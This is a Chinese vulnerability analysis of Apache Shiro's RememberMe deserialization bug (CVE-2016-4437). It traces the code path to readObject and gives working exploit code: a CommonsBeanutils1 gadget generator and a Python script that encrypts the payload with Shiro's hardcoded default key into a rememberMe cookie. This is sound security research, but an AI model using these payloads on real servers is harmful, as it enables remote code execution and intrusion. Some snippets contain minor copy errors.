漏洞简介 Apache Shiro 是一个强大且易于使用的 Java 安全框架,用于身份验证、授权、加密和会话管理等安全领域,它提供了一套全面的安全功能,包括身份认证、授权、加密和会话管理,可以轻松地集成到各种 Java 应用程序中。
Apache Shiro 自 0.9 版本开始设计了 RememberMe 的功能,该功能是一种身份认证机制,允许用户在登录后长时间内保持登录状态,即使关闭浏览器或注销账户后再次访问时仍然保持登录状态。当未手动为 RememberMe 功能配置密钥时,攻击者可以通过发送特定参数的请求对 Shiro 执行任意代码或绕过预期的访问限制。
影响范围 该漏洞影响 1.2.5 以前的版本,但受后续版本的修复方式所限,如果密钥被泄漏,攻击者依旧能够造成任意代码执行或绕过访问限制。
环境搭建 从 Shiro 的 GitHub 仓库克隆下来,并切换至 shiro-root-1.2.4 分支。
1 2 git clone https://github.com/apache/shiro && cd shiro/ git checkout shiro-root-1.2.4
使用 IntelliJ IDEA 打开此项目,需要先在samples/web/pom.xml
中指定 jstl 的版本为 1.2,不然后面运行起来会报 500。
1 2 3 4 5 6 <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency >
然后将 Java 版本设置在 8u71 以上,尽量接近实战中的环境。继续同步 Maven 依赖,并参考如下图新增 Tomcat 运行配置。
等待依赖同步完毕,便可以运行起来。
调试也是没问题的。
漏洞分析 在登录应用程序时,当勾选 rememberMe 的功能,如果登录失败,在 Set-Cookie 响应头中就会有rememberMe=deleteMe
。
若成功登录,则会返回有效的 rememberMe Set-Cookie 头,并携带这个 rememberMe 跳转至登录页面。
据此,对应用处理 rememberMe 的流程进行分析。
相关处理类 在 Shiro 中,org.apache.shiro.web.mgt.CookieRememberMeManager 是用于管理 RememberMe 功能的核心类之一,它负责生成、解析和验证 RememberMe Cookie。
该继承自 shiro-core 中的 org.apache.shiro.mgt.AbstractRememberMeManager,而 AbstractRememberMeManager 实现了 org.apache.shiro.mgt.RememberMeManager 接口。
处理流程 根据 samples/web/src/main/webapp/WEB-INF/web.xml 的映射关系,可知请求任意 Web 路径都会由 org.apache.shiro.web.servlet.ShiroFilter 类处理。
1 2 3 4 5 6 7 8 9 <filter > <filter-name > ShiroFilter</filter-name > <filter-class > org.apache.shiro.web.servlet.ShiroFilter</filter-class > </filter > <filter-mapping > <filter-name > ShiroFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping >
ShiroFilter 类继承自 AbstractShiroFilter 类。
1 public class ShiroFilter extends AbstractShiroFilter
而 AbstractShiroFilter 类又继承 OncePerRequestFilter。
1 public abstract class AbstractShiroFilter extends OncePerRequestFilter
在 OncePerRequestFilter#doFilter 方法中调用了 doFilterInternal 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public final void doFilter (ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { log.trace("Filter '{}' already executed. Proceeding without invoking this filter." , getName()); filterChain.doFilter(request, response); } else } else { log.trace("Filter '{}' not yet executed. Executing now." , getName()); request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { request.removeAttribute(alreadyFilteredAttributeName); } } }
而 doFilterInternal 这个方法在子类 AbstractShiroFilter 中有被重写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 protected void doFilterInternal (ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null ; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); subject.execute(new Callable () { public Object call () throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null ; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; } }
在这个方法中会调用 createSubject 方法创建 Subject。
1 2 3 protected WebSubject createSubject (ServletRequest request, ServletResponse response) { return new WebSubject .Builder(getSecurityManager(), request, response).buildWebSubject(); }
继续跟下去,最终会调用父类 org.apache.shiro.mgt.DefaultSecurityManager 中的 createSubject(org.apache.shiro.subject.SubjectContext)方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public Subject createSubject (SubjectContext subjectContext) { SubjectContext context = copy(subjectContext); context = ensureSecurityManager(context); context = resolveSession(context); context = resolvePrincipals(context); Subject subject = doCreateSubject(context); save(subject); return subject; }
如上 createSubject 方法对 resolvePrincipals 方法进行了调用,在 resolvePrincipals 又调用了 getRememberedIdentity。getRememberedIdentity 中调用了 getRememberMeManager 和 getRememberedPrincipals。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected PrincipalCollection getRememberedIdentity (SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null ) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) { if (log.isWarnEnabled()) { String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() + "] threw an exception during getRememberedPrincipals()." ; log.warn(msg, e); } } } return null ; }
根据 getRememberMeManager 方法的签名,可以得知该方法会返回一个 org.apache.shiro.mgt.RememberMeManager 对象,这是一个接口。
1 2 3 public RememberMeManager getRememberMeManager () { return rememberMeManager; }
1 public interface RememberMeManager
随后会调用到 org.apache.shiro.mgt.RememberMeManager#getRememberedPrincipals,这个接口方法只有在 AbstractRememberMeManager 一个类中得到了实现,而处理 RememberMe Cookie 得类又是继承自 AbstractRememberMeManager 类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
Base64 解码 在如上 AbstractRememberMeManager#getRememberedPrincipals 方法中调用了 getRememberedSerializedIdentity 与 convertBytesToPrincipals 两个方法。
此处的 getRememberedSerializedIdentity 是一个抽象方法。
1 protected abstract byte [] getRememberedSerializedIdentity(SubjectContext subjectContext);
在 shiro-web 中,由于 org.apache.shiro.web.mgt.CookieRememberMeManager 继承自 org.apache.shiro.mgt.AbstractRememberMeManager 类。
1 public class CookieRememberMeManager extends AbstractRememberMeManager
所以最终会调用到 CookieRememberMeManager 中的 getRememberedSerializedIdentity 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
该方法会传入的 RememberMe Cookie 进行 Base64 编码,并返回 byte[]数组。
AES 解密
紧接着,会对字节数组进行非空判断,若成立就会调用 org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 方法,在其中解密又调用了两个关键方法,decrypt 和 deserialize,顾名思义,解密与反序列化。
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
decrypt 方法如下。
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
在里面调用了 getDecryptionCipherKey 方法获取解密 Key,返回值便是 Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );private byte [] decryptionCipherKey;public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); } public byte [] getDecryptionCipherKey() { return decryptionCipherKey; }
之后,将密文与 Key 传入至 cipherService.decrypt 中,这个方法是 org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public ByteSource decrypt (byte [] ciphertext, byte [] key) throws CryptoException { byte [] encrypted = ciphertext; byte [] iv = null ; if (isGenerateInitializationVectors(false )) { try { int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; iv = new byte [ivByteSize]; System.arraycopy(ciphertext, 0 , iv, 0 , ivByteSize); int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte [encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0 , encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext." ; throw new CryptoException (msg, e); } } return decrypt(encrypted, key, iv); }
由于 AES 是一种对称加密算法,加解密所用到的密钥 Key 会是同一个,还会涉及一个初始向量 iv。所以在这个方法中,将 encrypted、key、iv 传给了 JcaCipherService#decrypt(byte[], byte[], byte[])方法,在其中进行 AES 解密,最后返回解密后的内容。
反序列化 成功解密后就会返回到 convertBytesToPrincipals 方法中,继续交由 deserialize 方法处理。
1 2 3 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
最后在 org.apache.shiro.io.DefaultSerializer#deserialize 方法中发生反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
这里面调用了原生 readObject 方法进行反序列化,这也是远程代码执行漏洞发生的地方。
漏洞利用 由于 Shiro 中是存在 Commons BeanUtils 组件的,但存在的 Commons Collections 组件是不完整的,所以可以直接利用 CommonsBeanutils1 来攻击 Shiro。
关于 CommonsBeanutils1 链的详细分析见《Java 反序列化漏洞之 CommonsBeanutils1 链》 文章,这里直接使用如下利用代码生成恶意反序列化数据 CBRCEWithoutCC.ser 文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package com.javasec.cb;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;import java.util.Collections;public class CBRCEWithoutCC { public static void main (String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_name" , "T" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(obj, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode() }); BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CBRCEWithoutCC.ser" )); outputStream.writeObject(queue); outputStream.close(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
然后通过如下 Python 脚本生成编码后的 Payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64import uuidfrom Crypto.Cipher import AESwith open ('./CBRCEWithoutCC.ser' , 'rb' ) as f: data = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), AES.MODE_CBC, iv) print ("Cookie: rememberMe={}" .format (base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
将 Payload 放置在 BurpSuite 中并构造恶意请求,最终成功实现 RCE。
漏洞修复 官方在 1.2.5 版本中对 CVE-2016-4437 这个漏洞进行了修复,见如下 commit。
https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848
1 2 3 4 5 6 7 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); AesCipherService cipherService = new AesCipherService (); this .cipherService = cipherService; setCipherKey(cipherService.generateNewKey().getEncoded()); }
根据如上代码变更,修复方式移除了原本硬编码的 Key,然后调用 generateNewKey 方法生成一个新的 Key。
同时,官方还允许开发者在 shiro.ini 配置文件中自定义设置 Key,且这个优先级是高于 generateNewKey 方法的。
不过反序列化的流程依旧没有发生变化。这也就意味着如果攻击者能得知密钥 Key,还是可能对 Shiro 应用造成远程代码执行的。
参考 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0074
https://issues.apache.org/jira/browse/SHIRO-721
https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848